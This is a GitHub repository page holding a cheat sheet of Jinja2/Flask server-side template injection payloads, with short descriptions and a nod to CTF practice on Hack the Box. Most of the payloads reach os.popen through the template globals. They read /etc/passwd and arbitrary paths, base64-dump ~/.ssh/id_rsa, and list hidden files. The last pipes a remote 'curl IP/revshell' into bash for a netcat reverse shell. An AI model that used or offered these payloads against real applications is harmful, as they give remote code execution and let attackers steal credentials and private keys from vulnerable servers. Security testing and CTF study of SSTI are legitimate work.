Skip to content

Jieyab89/Jinja2-python-or-flask-SSTI-vulnerability-payload-

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 

Repository files navigation

Jinja2-python-or-flask-SSTI-vulnerability-payload-

cheat sheet Jinja2 python or flask SSTI vulnerability payload

1. {{2*2}} or {{7*7}} 

[+] Desc : Testing, check or enum this vulnerability

2. {{request.application.__globals__.__builtins__.__import__('os').popen('cat [your path destination]').read()}} 

[+] Desc : Opening and read your path destination

3. {{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}

[+] Desc : Get id. used to find out user and group names and numeric ID's (UID or group ID) of the current user or any other user

4. {{request.application.__globals__.__builtins__.__import__("os").popen('cat /etc/passwd').read()}} 

[+] Desc : Get or read the directory value in path /etc/passwd. A text file that describes user login accounts for the system. It should have read permission, system inforamtion and any

5. {{request.application.__globals__.__builtins__.__import__("os").popen('cat ~/.ssh/id_rsa | base64').read()}}    

[+] Desc : Get and read or open path .ssh get id_rsa then encode using base64

6. {{request.application.__globals__.__builtins__.__import__('os').popen('ls -a').read()}}

[+] Desc : Get directory and hidden directory or file

7. {{request.application.__globals__.__builtins__.__import__('os').popen('curl IP/revshell | bash').read()}} 

[+] Desc : Jinja revshell. Make sure sett your ip and port then listen in netcat

Article and Sources for path your learn

Challenge or CTF you can test

  • Hack the Box

About

cheat sheet Jinja2 python or flask SSTI vulnerability payload

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published